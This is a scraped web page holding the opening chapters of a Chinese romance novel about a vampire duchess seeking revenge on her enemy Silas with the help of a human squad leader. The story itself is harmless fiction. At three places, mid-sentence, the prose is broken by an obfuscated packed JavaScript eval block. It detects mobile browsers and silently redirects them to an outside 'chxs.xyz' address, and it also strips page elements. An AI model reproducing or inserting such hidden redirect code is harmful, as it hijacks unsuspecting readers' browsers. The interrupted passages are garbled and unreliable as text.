《crush是血族女爵》 1. 迟到 “他多久来?” 奥黛瞥了眼吧台边放置的实木落地座钟,在时针即将走到数字8时,她第二次问出了这个问题。 大厅中央的巨型水晶灯如瀑布一样倾泻,晶体缓慢旋动,碎芒落在她未被黑色卷发遮盖住的半张脸上,鼻梁被光影雕琢出精致的弧度,微蹙的眉头却隐隐透露出不耐。 她海尔珀林女公爵什么时候等过人? 一旁的血仆艾琳看了眼微信,已经见怪不怪:“他说他队里有事耽误了,在路上了,马上就到。” 说着,她熟练地扫完桌上二维码,将小程序上的菜单递到了奥黛眼前:“您看看要不要先点点什么?这家店是做日咖夜酒的,小食不错,但我觉得最好吃的还是甜品,因为它不甜。” “……”奥黛别过头,满脸写着拒绝:“我不吃人类的食物。” “您说得对,我以前也这么想。但后来发现我不是不吃人类的食物,只是不喜欢吃干巴饭。”艾琳指尖微动,连点了十几样菜品,脸上浮起了期待的微笑:“煎炒烹炸蒸煮炖,简直是人间美味。” 奥黛古怪地看她一眼:“所以,这就是现在这么多吸血鬼聚集在星城的原因?” 奥黛没想到自己被西拉斯封印的这一百年里,世界变化得这么快。原本避世而居的吸血鬼现在居然争先恐后地融入进了人类社会。在这座位于华国中部的星城,更是成了血族首选的聚居地——光是她们来咖啡馆的这条路上就碰到了六个。 即便他们用伪装术遮掩住了自己本身的瞳色和发色,可潜藏在骨子里的贪婪阴狠的血腥气味却骗不了人。 “也不全是,主要是星城这个不夜城确实很适合e人吸血鬼呢——晚上出来的人要比白天多得多,所以已经连续十年被票选为‘吸血鬼最宜居的城市’了。” 艾琳眨眨眼睛,满脸憧憬:“听说下个月,赫纱女王还要亲自来星城跟特族局签署和平条约,这下我们彻底能和人类和平共处啦。” “女王?” 血族什么时候有女王了? 她分明记得自己被封印以前,当政的还是丹纳血王。血族寿命漫长,还不至于一百年就改朝换代吧。 “丹纳血王已经长眠了,他定下的继承人是他的小女儿,赫纱公主——您不知道她,她是在您被封印以后才出生的,下个月会举行继位加冕礼。” 奥黛看着月亮的方向久久不语。 半晌,她闭上眼睛,伸出食指与中指,并拢着轻点了一下眉心,将指腹映向月亮。见状,艾琳也敛起笑容,学着她的样子,虔诚地向月亮祷告。 “赞美月亮皎洁华光。” “感谢月亮赐我力量。” “祈祷月亮——”奥黛顿了顿,低声用默念了一句什么,红色的眸子闪过一丝寒芒。 祷告完成,奥黛再次瞥了眼座钟,原本就苍白的面容更显沉冷:“你确定这个人能帮我找到西拉斯?” 被封印了一百年,她的力量并未全然恢复,只是隐约感知到西拉斯似乎出现在这座城市之中,于是她漂洋过海地来到这里。 耻辱的烙印打在了她的后背,蚀骨的仇恨刻在了她的心中,她向月亮发誓一定要找到这个人。 然后。 她要亲手杀了他。 “这个人是夜游行动队队长,隶属于特别族群管理局。”艾琳告诉她:“特族局是人类成立的用来监管其他族群的保密单位,夜游队是里面执行吸血鬼任务的核心部门。黎队长平常打交道的吸血鬼多,本领也大,一定能帮您找到西拉斯的。” 奥黛轻轻拨弄着耳垂上摇曳的银质流苏,不置可否。 在她看来,人类向来娇弱,稍不留神就会死掉,本领再大又能大到哪去? 见她不信,艾琳环顾左右,发现邻座没有坐人,这才凑过来压低了声音说:“他是‘甜血人’。” 拨弄耳坠的手忽然停了下来,这下,她意外地发出了一个单音节:“嗯?” “甜血人”百年难遇,因其血液太过香甜而得名。每每出现,吸血鬼便趋之若鹜,将他分食得连渣都不剩。所以很难想象有一个“甜血人”可以在吸血鬼这样多的城市全身而退,甚至,专门和吸血鬼打交道。 “即便大家现在已经不吸食人血,改喝人造血了,他依然是所有吸血鬼最想要得到的人。” “当然也有不怕死的吸血鬼想要猎杀他,不过每次下场都很惨就是了。” “毕竟,他强得可怕。” “是么。”奥黛淡淡问。 艾琳仿佛对她这位朋友的强大与有荣焉似的,骄傲地抬起了头:“那当——” 却见到奥黛拉开椅子站了起来。 没有人值得她等十三分钟。 ——再甜再强再有本领也不可以。 奥黛神情冷淡地捞起桌上的蕾丝手套,闪着碎钻的黑色裙摆像一尾游曳在深海的鱼,等到艾琳反应过来的时候,她已经游到了门口。 一阵低沉的引擎轰鸣声掠过街面,隔着一扇玻璃门,奥黛止住脚步,循声朝着马路对面望去。 一个高大的青年从一辆黑色重型摩托车上利落跨下,随手摘掉了头盔,低头时,露出了被修剪得很短的头发,以及他锋利的下颌线。 九月底的天,还残留着秋老虎的余威,不骑车时有些闷。他索性脱下了银色作训服外套,长袖随意往腰间打了个结,食指摇着钥匙环,长腿踩着黑靴,漫不经心地朝咖啡馆走来。 交错的路灯让他的影子时长时短,脸上的五官也随着光暗浮沉时隐时现。 但吸血鬼的夜视能力很好,她甚至能看清楚斜跨在对方右眉峰处的一道两厘米的浅白色的疤,自然也能捕捉到对方在开门见到自己时错愕的复杂神情。 他站在门外,有些意外地望着奥黛。 “怎么个事?”艾琳一头雾水地打开了门,问他:“怎么不进来?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042968|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他这才大步迈进了门。 奥黛站在墙角的阴影处,静默地审视着来人。 浓黑的眉毛下是一双乌黑圆润的眼睛,看上去本该是温和的,但硬挺的鼻梁与眉上的疤痕直接中和掉了这部分俊秀,转而显出了几分桀骜的凶狠,不笑时尤甚。 譬如此刻,他面无表情地朝她走来,黑色的背心紧紧绷在身上,隐于胸膛和露出的手臂肌肉,随他的一举一动而一绽一放,既蓬勃又炽热,既刚硬又粗粝。 艾琳笑着介绍: “这位,就是黎信步黎队长了。” “这位,是我们海尔珀林女爵。” “你好。”黎信步朝奥黛伸出手,声音低沉:“我叫黎信步。” 奥黛低头。 这是一双骨节分明的大手,手背上粗而凸的青筋交错成网,藤蔓一样往小臂上攀爬,横亘在他青筋与腕骨上的,是一条极细的红绳,青与红相对,粗与细相交,虽格格不入,却也意外和谐。 出于礼节她还是摘下手套,蜻蜓点水般触碰了一下他的掌心。 蓦地,她的面色阴沉了下来,冷冷地瞪了他一眼,呵道:“无礼。” 两只手一触即分,还没等黎信步反应过来,只听“咔”一声,他的手腕迅速传来一阵剧痛,关节好像错位了。 下一秒,长长的耳坠无情地擦过他结实的手臂,推开玻璃门,黑尾鱼游回华灯初上的大海,转眼就消失在了他的眼前。 黎信步皱眉,神情一下变得冷峻起来。 他知道,不是因为手疼。 “黎队,你还好吧?”艾琳冲他略微失神的眼前挥了挥手,面露担忧之色:“虽然……但是……我还是想问,你刚刚是不是想了什么不该想的东西?” “什么?”他回神望向艾琳。 “我发你的PDF你是不是没有看?” “没顾上看。”他这才掏出手机,单手点开微信,往上划了划,下载起了“必看!与女爵打交道的100个注意事项”的PDF文档。 第一页醒目地写几个加粗标红的大字—— 「切记!!! 请不要在她伸手碰到你的时候 想!乱!七!八!糟!的!事!!!」 “如果,”黎信步望着她离去的方向,状似不经意间开口:“想了会怎么样?” “那完了,什么都瞒不过她。我们女爵可是会读心的。”艾琳深深看他一眼,难免好奇:“不是,你想什么了?” “——到底想什么能把她气成那样?” “……” 他后知后觉地揉了揉被奥黛掰肿的手腕,好像根本感受不到疼,试图回味那一触即分的触感。 凝望着她消失的街角,他忍不住勾唇一笑,柔情四绽,戾气全消。 推门走出去时,他的脚步带着前所未有的轻松和愉快。 见到她了。 终于。 2. 甜血 星城被一条星江纵贯南北,切分成东西两座半城。奔腾的江水恰似一道巨型屏障,稀释掩盖住了那人的气息。 奥黛在熙攘的街道漫无目的地寻找,无异于大海捞针。 身为海尔珀林家族的家主,定位血族族人的方位是她与生俱来的本领,那是藏于她血脉之中的力量,不管是眷属还是仆从,她都要能精准地感知。 可她偏偏,找不到她的仇人西拉斯。 夜深,奥黛回到了艾琳为她准备的别墅。 怕女爵嫌吵,艾琳把周围几栋全买了下来,自己住其中的一栋,方便随时照料,又按照她的喜好将别墅精心布置了一番。 奥黛的目光聚焦在了墙上正在放映的巨幕电视上,一个女人信誓旦旦地告发私通。她看入迷了,恍然想到自己被封印的那一年,报纸上正大肆刊登那位叫贝尔德的年轻人发明了电视机。 一晃百年,听艾琳说现在的年轻人都已经不怎么爱看电视机了。 荧幕忽然剧烈地闪烁,奥黛不悦地皱眉,敏锐地感知到了有不速之客来访,眼睛的红色逐渐变深。 夜雾将这栋别墅完全笼罩,门缝处从外向里溢进来浓浓的黑雾,波涛一样在她的脚下起伏。 这是一股全然陌生的强大气息,此前她从未见到过。 “出来。”她平静开口。 四周一片静谧,窗外的风声仿佛都静止了。 一个身穿黑色甲胄的人从黑暗中现身,黑色面铠完全遮挡住了他的面容,银色发丝像月光一样寂静淌下,看上去有几分与他实力格格不入的落索冷清。 “女王的人?”虽然是问句,但她心里已经笃定了。 对方肩头的弯月纹肩章代表着他效忠的是血族王室,而上一任血王启用的是满月纹章。只是看他白发紫眸的模样,既不像人,也不像他们吸血鬼,不知道女王是从哪里捡回的。 “我是女王的暗骑士长洛弗,向你传达女王的旨意。” 他声音很低,言简意赅:“女王希望你能与人类合作,保障签约仪式能够顺利推进。” 电视被这人周身的黑雾挡住,她错过滴血验亲的结果了。奥黛的身体微微往沙发上后仰,不耐地开口:“海尔珀林从不与人类合作。” “女王希望你能好好考虑。” “不必考虑了。” 她不知道这一百年来,王族内部是如何争夺话语权的,不关心为何原定的继位者会变成年幼的女王,更不在乎为什么血族现在要亲近人类。 她们海尔珀林家族的女人向来任性,随心所欲,身为血族第一阶的大贵族,更是有不与新王示好的底气。 于是她说:“你告诉女王,我讨厌人类。绝不与人类合作。” 预想的僵持对峙没有来临,在夜雾化开时,面前的人也随之消失了。 然而漫漫长夜却并没有消失。 奥黛赤足走到露台上,冷冷地眺望着人间烟火,从心底感到一阵厌烦。 她讨厌人类。 即便她身上有二分之一的人类血统,她依然讨厌人类。人类奸诈狡猾,惯会行骗,未达目的不择手段。 同样,她也讨厌吸血鬼。 吸血鬼总是像牲畜像野兽一样毫无尊严地被本能驱使,不加节制,不知悔改。 两种她讨厌的血液混合交织,创造出来了她。 因此她更讨厌自己。 不过—— 只要找到那个人,她就可以去死了。 只要杀死那个人,她就可以去死了。 · 太阳一下山,星城就变得喧嚣很多。 门铃响个不停,奥黛在可视屏幕上看见了一颗紫色的脑袋,定睛一看,发现是艾琳。 ——她记得艾琳昨天还是棕色短发来着。 “这个啊,是假发哦。”艾琳一把将紫色的长卷发发套扯了下来,露出了被发网包裹住的饱满圆头:“吸血鬼的特征太好辨认了,眼睛是一水儿的红色,所以有不少同族会搞搞头发,戴戴美瞳什么的。” “为什么要遮盖特征?” 艾琳想了想,把玩着手里的紫发说:“可能是为了更自然地融入人类吧。星城现在是试点,吸血鬼可以和人类自由恋爱,甚至通婚,不过这些都要向特族局登记报备。” 奥黛顿时感到匪夷所思:“没有吸血鬼猎人反对么?吸血鬼公会呢?” “谁?血猎吗?您是说吸血鬼猎人?” 许久没有听过这个词,艾琳夸张地睁大了眼睛:“都二十一世纪了,已经没有血猎,更没有血猎公会了!华国有关吸血鬼的事务都由特族局统一管理。” “……” 奥黛不知该作何感想。 长期以来血族和血猎都誓不两立,没想到只是过了一百年,人类和血族渐趋和平,已经没有血猎和他们的公会了。 艾琳重新戴好假发,眼睛转了转,微笑说:“女爵要和我一起出门吗?我今天要去市中心的古街讲开放麦。” 吸血鬼并不缺钱,但是为了更好地融入人类社会,也有不少吸血鬼会根据自己的兴趣和特长找一些工作来打发时间。 据艾琳所说,不少人类的岗位都对吸血鬼开放了。有些吸血鬼喜欢在高校任职,教授历史、外语以及艺术课程等。有些吸血鬼喜欢在互联网分享生活,直播夜间探险、夜间码字、夜间塔罗占卜等。 当然,还有更多吸血鬼爱去卡颜酒吧打打碟,调调酒,偶尔谈谈恋爱,丰富一下夜余生活。 奥黛不习惯和别人一同行动,正要拒绝时,听到艾琳轻轻感叹:“也不知道西拉斯会不会出现呢。” 奥黛站了起来。 人。 都是人。 她站在古街如织的人潮中,与各式各样的人在霓虹灯下擦肩而过。 很久都没有见到这么多人,她的眼眸不安地转成了深红,犬齿耐不住地有些痒,指甲尖尖伸了出来,被一旁的艾琳轻轻捏了一下,又缩了回去。 “没关系的女爵。” 艾琳拍了拍她的手臂,笑着对她说:“人类现在大多都是可爱的,时代变了啊。” 奥黛不置可否。 走了两步,她警觉道:“后面,有人跟踪我们。” 艾琳回过头,看见两个穿着lo裙的年轻女孩正目不转睛地盯着她们。 她停下来,朝女孩们眨眨眼睛:“怎么啦?” 两个女孩你推推我,我碰碰你,蛋糕一样的裙摆互相挤压。最后她俩一起走到了奥黛跟前,捂着脸十分不好意思的样子。 奥黛:“?” “那个,就是……姐姐你好白好漂亮啊,可以问你要一下美瞳链接吗?”其中一个女孩腼腆地说。 “口红链接也请给我!”另一个女孩小声说。 叽里咕噜,什么链接? 吸血鬼因为秘术的缘故能够自如地使用人类各国的官方语言,但奥黛却听不懂她们在说什么。 “来,我给你们。” 艾琳掏出手机,打开音符app,手指点了几下,将屏幕递出:“记得关注我以后去我的橱窗下单哦,这样更便宜。” “嗯!”两个女孩笑着走了。 便宜。 奥黛似乎听懂了,奇怪地瞥了艾琳一眼:“你现在很缺钱?” 艾琳连忙解释:“我不是缺钱!吸血鬼只要不去创业怎么会缺钱呢,更何况您留给我们这些血仆的钱,再有几百年也花不完。我只是觉得赚钱还挺有意思的——吸血鬼就能混吃等死了吗?” 刚要说话,奥黛似乎在人群里嗅到了一抹熟悉的气息。 她迅速抬眼,人群此时在她的眼里虚化成了背景,只有一个火红的小点在快速地移动着。 一瞬间,她的眸光像是被点亮,薄唇勾出一抹淡淡的弧度,像鬼魅一样身影掠过人群,快得像是一阵穿堂的风。 所过之处无人能够察觉。 耳畔的银饰折射着霓虹的彩光,轻轻往人的眼前一闪,当人感到晃眼的时候,她已经离开了这条青瓦白墙的古街,朝江边的方向猛冲而去。 江边,黎信步正骑着机车在风里穿梭。 他的身体微微前倾,前襟与后背的衣料跟随他的驰骋,扬起了自由的弧度。 “现在什么情况?”他偏头问耳麦。 “昨晚你新抓的那个吸血鬼,刚刚做检查的时候失控了,咬伤了好几个队友逃了出来,现在往江边的方向去了,局里正在派人追击。” “我在江边。我去。” “你带血液诱捕剂了?” “没有。刚在香氛店买了点东西,送了扩香石,正好看看效果。” 那头沉默了片刻:“你没事逛香氛店干嘛?” “……”黎信步说:“你别管。” “你手还伤着,最好别做傻事。” “哦。”黎信步把车停在路边,满不在乎地看了眼自己被包扎得严严实实的右手,毫不留情地咬破食指,如注的鲜血被他滴进扩香石中,然后用力将扩香石往四周一抛—— 原本寂静的四周立刻传来了窸窸窣窣的声音,将一公里内的没有定力的中低阶吸血鬼陆续吸引了过来。 他们闻见了诱人的味道,身体要比理智更快一步来到这里,可看清楚诱人味道的根源以后,理智回笼,决定还是三思后行。 他们之中,有不少是和黎信步“打”过交道的。 打,不是指拳对拳掌对掌的这种打。 而是指黎信步单方面用银制子弹扫射碾压他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042969|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的这种打。 银质子弹的伤害虽不致命,但是巨疼。不少吸血鬼在心里默默盘算,冲上去舔一口,然后挨一梭子子弹到底划算不划算。 不过冲上去以后可能会直接挨一梭子子弹,这样就划不来了。 大家不敢上前,只敢围在不远处能看得到他的地方,痛苦地小声叫嚣: “饿饿……饭饭!” “……是饭吗就叫我来吃?” “能不能让我吃亿口?就亿口!” “他什么时候割腕我等着吃席……” “得等位吧,起码五万八千桌。” 黎信步一米□□,身高腿长,眼下正屈起一条腿靠在机车边。 许是觉得周围的声音有些吵,他不满地抬眼扫去,带着浅疤的浓眉往下压,看上去压迫感极强,四周立刻噤声。 几十个吸血鬼望着他破皮的手,像是猫舍的小猫共享一只逗猫棒,脑袋齐刷刷随他指尖的方向转来转去。 他们被逗得心痒难耐,又碍于他的威严不敢真扑上去,暴躁地抓头问:“不是,他到底在钓谁啊?!” 黑暗中,一双通红的眸子危险地靠近,虎视眈眈地盯住了黎信步。 黎信步乌黑的眼睛闪过一道锋芒,望向他的方向,直起身子:“终于来了。” 对方长出尖牙,变手为爪,越过身前的吸血鬼们,猛地扑了过来。 动作敏捷,像是一道黑色的豹子。 不,比豹子更快。 在血仆保罗这漫长的一生中,还从未把人类当成对手过。 虽然是血仆,但主人“长眠”以后,能驱使得了他的高阶吸血鬼根本寥寥无几。 昨天被眼前这人强力地制服在肮脏的地面时,他就在心底暗暗发誓,一定要咬断这个人的喉咙,要用他的鲜血洗刷他的屈辱! 黎信步用左手举起银色手枪,正要扣动扳机,耳麦这时换了一个女人说话:“我要活的。” 于是枪口下移,银弹精准地打中了对方的脚,令他猝不及防重重摔落在地。 保罗再次压制在了地上,伤口狰狞地裂开,银质子弹下,极大程度限制了伤口的愈合速度。 他在地上拼命地挣扎着,黎信步单手扣住他的脖子,把他从地上抓了起来,警告道:“别动。” “……”痛苦扭曲了他的面容,让他的五官皱成一团。 “就你这身手怎么越狱的?”黎信步百思不得其解。 “你,想知道……?”他阴恻恻地看了黎信步一眼。 离得很近,黎信步指尖散发出来的血腥气变得更加清晰和诱人。 保罗用力地晃了晃脑袋,一点细碎的红色颗粒无声地从他头顶上掉落下来,双眸瞬间染成了癫狂而妖异的血红。 他怒吼着:“带着你的好奇心去死吧!!” 话音刚落,银色手铐被他毫不费力地扯断,尖长的指甲遽然伸长朝黎信步的喉间抓去。 黎信步往后一退,当机立断,举枪射击。 砰的一声,保罗的另一只脚也被银弹击中,还没等他碰到黎信步,就无力地摔在了对方的脚边。 而此时,周围的吸血鬼忽然有些躁动起来。 江边风大,红色粉末被风一吹,变成更细微的粉末,扩散到了人群以及更为辽远的地方。很快,吸血鬼们的眼里染上一片浑浊的血红,尖尖的獠牙不加掩饰地直接暴露,痴迷又贪婪地追随着本能,朝黎信步的方向慢慢汇拢。 像野外凶猛的兽群,逐渐蚕食着猎物的生存空间。 黎信步眯起眼睛,轻轻扫了一圈朝他涌来的吸血鬼群,倒也不惧,大掌合拢,拳头握紧,手臂肌肉紧绷,显出饱满的力量。 然而还没等到他动手,毫无理智的吸血鬼们就自动让出了一条道来。紧接着,他们的眸色一点点变浅,獠牙缓慢地回缩,神情也由饥渴变成了谦卑。 所有的吸血鬼都朝着身后的方向本能地低头臣服。 被让出的那条道,奥黛穿着一条缎面白色长裙,踩着清脆的高跟鞋,不紧不慢地走了出来。 她的五官很明艳,眼窝深邃,鼻梁高挺,因此直面人的时候,美貌总是带着凌人的气势。过腰的卷发像是翻滚的江潮,每走一步,都像是月亮在无声地主宰着天地江海的自然涨落。 同时,也主宰着一块坚硬岩石的柔软呼吸。 看着看着,黎信步突然眼眸微颤,眼睛里汇聚起了细碎的光芒,唇角被他克制地抿直,生怕一张嘴就泄露出了心动的天机,无端惹人烦。 堪堪停至他面前时,他匆忙地别开了头。 奥黛聆听着他热烈鼓动的心音,却不看他。 目光下移,对趴在地上、浑身战栗的人冷酷开口说: “跪下。” 3. 合作 “女爵大人。” 这个双脚受伤的吸血鬼,费了好大力气才单膝跪在离奥黛的脚边。 头低垂,手交握,血任流,像一只在主人面前摇尾乞怜的狗。 高阶吸血鬼对中低阶吸血鬼有着天然的威压,同时,血仆也会无条件臣服于本家族高阶吸血鬼的命令。 海尔珀林家族目前尚在人世的高阶吸血鬼只有两个,奥黛从没有对他下过攻击夜游队的指令,那么这是谁下的令,不言而喻。 奥黛扫了一眼保罗的头顶,蓬乱的棕发上残存着帝蒙花红色花蕊的痕迹,冷笑一声:“哪里来的?” 帝蒙花只生长在吸血鬼故乡的永夜岛,因花蕊会惑人心智、短时间内能够刺激吸血鬼力量暴增,很长一段时间都被血族祭司用于魔药的炼制。 但这花副作用极大,常让定力不够的吸血鬼们失控,因此从上一代血王开始,这花就被列为禁花了。 保罗恭顺地回答:“是西拉斯大人给我的,他让我给特族局找点麻烦。” “他在哪里?” “我不知道。” “我说,”奥黛微微俯下身,冷漠地睥睨着他,纤细的手指缓缓伸向他的额头,指腹抵住了他的眉心:“他在哪里?” “请您相信我!女爵大人,我真的不知道他在哪里!”他快要急哭了,身体剧烈地颤抖着,看上去老实得可怜。 他没有说谎。 奥黛判定,他是真的不知道。 也是,西拉斯那么狡猾的人,能向下属透露踪迹才奇怪。 所以,他究竟在哪呢? 见奥黛收回了手,保罗松了一口气,主动坦白道:“一百年前,我们大部分血仆以为您长眠了,于是各自离开了海尔珀林家族。直到今年,西拉斯通过血脉的力量把我们很多人召集在了一起,让我们听从他的号令。您之所以找不到西拉斯,是因为他用圣银匕首,把他连同我们的家徽印记都给剜掉了。” 说着,他朝她摊开手。 那本该从手腕一直生长到手窝处的、象征着海尔珀林家族精神的蔷薇家徽被剔除得一干二净,新生长出来的皮肤要比吸血鬼原有的肤色更为惨白。 奥黛恍然,原来是用了圣银匕首。 难怪,她找不到。 普通的银对可以迅速愈合伤口的吸血鬼来说,能够造成的伤害十分有限。要想对吸血鬼造成不可逆的创伤,唯有光明与圣银。 圣银是比银更为坚固和圣洁的矿石,当然也要更加珍贵罕见得多。若干年前,穷整个血猎公会之力才只锻造出了三把匕首,其中一把就在西拉斯手里。 想到这里,奥黛的脸渐渐沉了下去,她毫不留情地踢开血仆,转身就走。 交织的警笛声由远到近地传来,黎信步把逃犯交给了同事,快步追上了奥黛。 “你在找西拉斯?” 他说。 听见这个名字,奥黛立即回过头。 夸张的耳坠像一串星河流淌在了她的耳朵上,也映在了一双寒潭一样深沉的眸子里。 抬眼望去,对方很高,逆着光向她走来的时候,像一座宽阔的山。山峰上或许有着终年难化的积雪,所以他整个人看上去是那么的阴沉冷厉。 “要做个交易吗?”他看着她,眼神晦暗不明:“我帮你找到西拉斯,你给特族局当顾问。” “我不和人类合作。”奥黛冷声道。 刚要离开,却见到对方递了一张照片过来。 淡淡地瞥了一眼,瞳孔立刻紧缩,不得不停住了脚步。 照片上的人站在来往的人潮之中,抬手摘掉了一半头上的黑色兜帽,露出了黑色短卷发与红眸。 只一眼,她就认出了他。 “这是半年前,他入境时拍到的照片。之后,直奔星城而来。” 黎信步捏着照片,目光试探地流连在她的脸上:“人类或许也没有你想的那么没用,女爵。” 奥黛静静地重新审视了黎信步两秒,然后抽走了照片:“成交。” 黎信步的眉头轻轻一舒,对她说:“那么重新认识一下,我叫黎信步。” “奥黛·海尔珀林。” 他再一次朝她伸出了右手——腕骨上甚至缠绕着几圈绷带:“那么,就祝我们合作愉快。” “只是交易而已。” 奥黛显然并没打算同他握手。 可是黎信步却未将手收回,十分有诚意地看着她。 奥黛瞥了眼这只被她所伤的手,想到了昨天不愉快的回忆,冷冷警告:“你脑子里最好没有其他想法。” “好啊。” 平直的唇角压不住溢出的欢喜,他左边脸颊的酒窝随之浅浅浮现,一瞬即逝,仿佛山巅坚冰乍裂又飞速凝结。 奥黛以为,那一瞬间,是自己的错觉。 想了想,她勉为其难地碰了碰对方过分温热的手—— 【看,没有吧?】 “……”真无聊啊这人。 奥黛转身就走,黎信步迈开长腿跟上她。 星光与月影投射在平静的江面之中。偶有船只经过,船尾拉出一条空灵的光缎,恍如梦境。 不知不觉,他们走到了沿江的风光带上,周遭三三两两的行人逐渐变多,擦着他们的肩走过。黎信步不着痕迹地将奥黛挡在最里面,像是一位忠诚勇敢的骑士,不让过路的行人冒犯到女爵的禁忌。 “大约半年前,星城开始灾祸频发。血库被炸、公共交通被毁、公民无故消失、挑衅袭击数不胜数,下个月血族女王就要和特族局局长签署和平条约了,而针对特族局局长的暗杀也层出不穷。” “是西拉斯做的?” “在时间上是吻合的,但不只有他。年幼的女王即将继位,能依靠的势力有限,人类正是其中之一。吸血鬼的内部有很大的阻力,多方势力都在阻止条约的签署。” 奥黛看他一眼,忽觉这场面有些诡异。 她怎么也没想到,有朝一日,会由一个人类为她讲述血族现在的形势。 不过,她对血族的现状以及血族王室的争斗兴趣不大,淡淡道:“是么,我不在意这些。” 黎信步认真问她:“那你在意什么呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042970|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “和你有关系么。” 奥黛瞥了他一眼,往回走。 “当然有,”黎信步说:“西拉斯既是我的犯人,也是你的人,我们总得提前商量好对他的处置办法吧。” 奥黛的语气不容商量:“当然是把他给我。” 黎信步古怪地看她一眼:“……你就那么在意他吗?” “是。” 他不说话了,抱臂跟着奥黛,拉开了不远不近的距离,脸上又恢复成了一惯的冷峻淡漠。 重新走回先前的小巷,大部分的吸血鬼都散了,还有几小撮吸血鬼正在打架。 走进一听,是为着被黎信步滴过血的扩香石起的冲突。 ——石头就那么点,大家都想要,于是分赃不匀,打了起来。 黎信步面无表情地问互相锁着对方喉的吸血鬼:“想和我回队里了?” “不、不想!”两只吸血鬼立刻为对方整理仪容仪表,“我们只是,闹着玩。” “对,闹着玩!” 话是这么说,但眼睛却一刻没有离开过黎信步的手,又碍于女爵在场,只能偷感颇重地悄悄打量,还以为没人发现。 奥黛瞥了一眼黎信步指尖的伤——伤口的血早已凝固,却无时无刻不在释放着它的甘甜。 “你的手。”她说。 “不妨碍骑车。”黎信步走到机车边,对奥黛说:“上车吧女爵。” “?” 他道:“护送您回家。” ……简直可笑。 奥黛眸光扫视了一圈,那些隐退在黑暗中的、仍贼心不死的吸血鬼纷纷低头假装忙碌。 ——到底谁需要被保护? 但既然已经是交易的关系了,那她保护他一次似乎也不是不行。 这甜血人身上的味道太重了,她可不想自己离开以后,对方还没走出这条街,就被吸血鬼分食完了。 于是女爵在吸血鬼们贪婪的注视下坐上了黎信步的车。 连黎信步都觉得有些意外。 他马上递给了奥黛一只头盔:“没有冒犯你的意思,不过你之前坐过摩托车吗?” “当然。”奥黛熟练地扣住头盔、拉紧系带,下巴轻轻抬了起来:“我可是英国坎伯利1925年夜间越野摩托车赛冠军。” 说完,她食指轻拨,挡风镜片利落降下,像是无声的敦促。 “江边风大,抓紧了,冠军小姐。” 随着一声引擎的悦耳轰鸣,摩托车急速发动,风在他们的周身呼啸而过。 这是一种近似自由的放纵感觉,奥黛紧绷的神情难得地放松了一刹,思绪好像回到了一百年前,她参加比赛的那个夜晚。 那时的她在想什么? 是遗忘。是畅快。是解脱。 那时的她满心满眼都在期待第二天的太阳。 黎信步低头看着反光镜。 尽管对方仍然没有太多表情,可他能感觉得到,这一刻的她,似乎是轻松的。 于是他忍不住想象1925年的奥黛是什么样? 会很耀眼吧。 4. 上班 “轰”一声低吟,摩托车停在了别墅门口,惊动了另一栋别墅的艾琳。原本只是推窗看热闹的她,闻到甜血人的血腥味以后,立刻闪现到了奥黛和黎信步的中间,生怕两人打起来。 黎队威名在外,看面相就不是个不好惹的,她们女爵更加不好惹。这两人要是打起来,后果不堪设想。 “有话好好说啊女爵,”她一面安抚着奥黛,一面给黎信步使眼色:“黎队快走啊。” 黎信步问她:“去哪?” 艾琳闭眼尖叫:“当然是去安全的地方啊啊啊!” 等她睁开眼,黎信步没动,奥黛居然也没出手。 这两人、竟然、没有打架? 目光在奥黛和黎信步之间拐了一圈,艾琳狐疑道:“我是错过什么了吗?” “……” 第三遍确认了今晚的经历,艾琳不可思议地惊叹:“我就是讲个脱口秀的功夫,你们成为朋友了吗?” 奥黛:“我不交人类朋友。” 黎信步看她一眼,没说话。 见到艾琳一头紫发乱糟糟的,奥黛问她:“你晚上怎么样?” “别提了。”艾琳苦着脸摇头:“……硬着头皮讲了一晚上都没什么人笑。讲完以后,我鞠躬感谢,不小心把假发踩掉了,底下哈哈大笑。” 闻言,奥黛皱眉,“谁笑话你?名字给我。” 艾琳高兴地蹭了蹭奥黛,像是回到了一百多年前的时光。那时候女爵也是这样庇护着他们这些血仆的,谁让他们受一点委屈,她都不答应。比起仆从,他们似乎更像是她的朋友。 “不过没关系啦,散场的时候,有个人和我说我的脱口秀讲得很好,他很喜欢。”艾琳忍不住笑了,足尖像跳舞一样轻轻踮起,又轻轻落下。 奥黛没再多说,把手里的头盔扔给黎信步,然后径直往屋里走去。 黎信步稳稳接住头盔,说道:“明晚八点。” 回答他的是一记关门声,算作是同意了。 “所以,你给我们女爵找了个班上吗?”艾琳很是不解:“到底是怎么说动她的?” 黎信步不知道想到了什么,转头来问艾琳:“你知道西拉斯吗?” 